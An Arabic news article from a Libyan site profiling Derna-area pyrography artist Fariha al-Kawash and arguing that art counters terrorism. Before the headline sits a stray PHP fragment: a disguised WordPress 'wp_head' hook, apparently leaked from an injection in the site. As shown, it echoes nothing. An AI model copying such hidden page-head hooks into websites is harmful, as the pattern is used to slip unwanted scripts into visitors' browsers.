/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ الرسامة "فريحة" : الفن هو القوى الناعمة و يلعب دوراً إيجابياً في مواجهة الإرهاب - اخبار ليبيا
درنة ليبيا الان

الرسامة “فريحة” : الفن هو القوى الناعمة و يلعب دوراً إيجابياً في مواجهة الإرهاب

مصدر الخبر اخبار ليبيا 24

الفن في مواجهة الإرهاب

أخبار ليبيا 24 – متابعات

أن الفن نقيض “الإرهاب “، لأن الفن هو صناعة للحياة ، أما “الإرهاب” فهو صناعة للموت، ولقد كان الفن عبر التاريخ إحدى الأدوات الفعالة في مواجهة العنف والتطرف والتعصب، كما أنه هو الأسلوب المؤثر في وجدان الناس وتشكيل مشاعرهم .

يعتبر الفن الإنِتاج الإبداعي الإنساني حيث يعتبر لوناً من ألوان الثقافة الإنسانية، وتعبير عن التعبيرات الذاتية وليس تعبيراً عن حاجة الإنسان لمتطلّبات حياته، حيث يشكل فيه المواد لتُعبّر عن فكرة أو يُترجم أحاسيسه أو ما يراه من صور وأشكال يُجَسدها في أعماله، رغم أنّ بعض العلماء يعتبرونه ضرورة حياتية للإنسان كالماء والهواء والطعام، فهناك ما يسمّى بالفنون المادية : كالرسم، والنحت، والعمارة، والزخرفة، والتصوير ، والفنون غير المادية التي نجدها في الموسيقى، والرقص، والغناء، والشعر، والكتابة للقصص والروايات، وكذلك أعمال الفن السابع مثل السينما، والمسرح، والدراما .

أما الإرهاب فهو أي عمل يهدف إلى ترويع فرد أو جماعة أو دولة بغية تحقيق أهداف لا تجيزها القوانين المحلية أو الدولية، ويتخذ الإرهاب أشكالاً متعددة منها : الإرهاب الفكري ، والضغط النفسي، والعنف الجسدي ، والتخريب، والإكراه، والتهديد، والقتل الجنائي، والتفجير، والتصفية الجسدية أو المذهبية أو العرقية، والتهجير، والحصار الاقتصادي ، واستخدام القوة العسكرية .

إن الفن يعتبر القوى الناعمة فهو يلعب دوراً إيجابياً في مواجهة الإرهاب وكان ومازال له دور فعال في مواجهة الإرهاب ومؤثر في التصدي للإرهاب والغزو الفكري ، أما الإرهاب فهو يعبر عن رسالة عشوائية ظاهرها العنف ومضمونها الجريمة ، وهى غالباً ما تكون رسالة بلا عنوان ، فالإرهاب مرض لعين ، وداء العصر ، ولن يجرفه أمامه إلا زحم كثيف من الفكر والعلم ، ومن المعرفة والثقافة ، ومن الأدب والفن .

والفن والرسم من المحرمات التي تستوجب القصاص عليها لدي الجماعات الإرهابية بل هي الكفر البين لا مجال للعبث هنا من وجهة نظرهم وكان الإبداع رجس من عمل الشيطان ولكن القتل والذبح والتنكيل هو الحلال والمحبب لديهم .

الفن نافذة للأمل في زمن الحرب حاولت “فريحة الكواش” أن ترسم ملامح للأمل من خلال ما تستلهمه من الطبيعة في لوحاتها الخشبية المحروقة بإبداعها وكأنها تقول “إنني من النار سأستنطق الخشب لن أحرقه لأخيفه ليصبح أثر بعد عين بل أنا أخرج ما في داخلي على شكل فن يجسد الغد بأحلامنا بوطن انا احرق لأريكم أنه يمكن من خلال النار أن نصنع شيء جميلا إذا ما وظف بالشكل الصحيح والقدر الصحيح .

الكواش التي تقيم في منطقة أم الرزم، قالت “لم تصلنا الحرب بشكل مباشر لكننا عانينا مع من نزوح وتأثرنا بالأسرة التي فقدت أبنائها في الحرب على الإرهاب .

فريحة معلمة خريجة فنون وعمارة عام 1999 قسم تصوير جامعة عمر المختار فرع درنة، من سكان منطقة أم الرزم، لاقت التشجيع والدعم من والدها موهبتها التي حزها معلمها في بداياتها تميزت بالرسم بالنار “الكاوية” على الخشب، وأول معارض لها كان عام 2011 بمدينة البيضاء .

تقول الكواش “الحرب أثرت على نفسيتنا جميعا ورغم ما مررنا به إلا أنني حاولت أن أضع بصمة تغيير الواقع من الحرب على الإرهاب إلى نظرة أمل بمستقبل زاهر.

ورغم كل الأحداث التي مرت خصوصا بمحيط مدينة درنة، ورغم أن الإبداع يحتاج إلى نفسية جيدة إلا أنني لم تنكسر أو تستلم بالحالة العامة والإحباط فقد أبدعت وتميزت بلوحات جسدت الواقع المحيط بي . وتستخدم فريحة الكتوية للرسم على الخشم رسمت الطبيعة بمختلف مجالات وشخصيات من محيطها وشخصيات اجتماعية، وكان لها دور في الحياة العامة وتتطلع فريحة لاهتمام الجهات المختلفة بالفنون والرقي بها لخلق ثقافة تليق بليبيا التي عانت الكثير.

 

يمكنك ايضا قراءة الخبر في المصدر من اخبار ليبيا 24

عن مصدر الخبر

اخبار ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya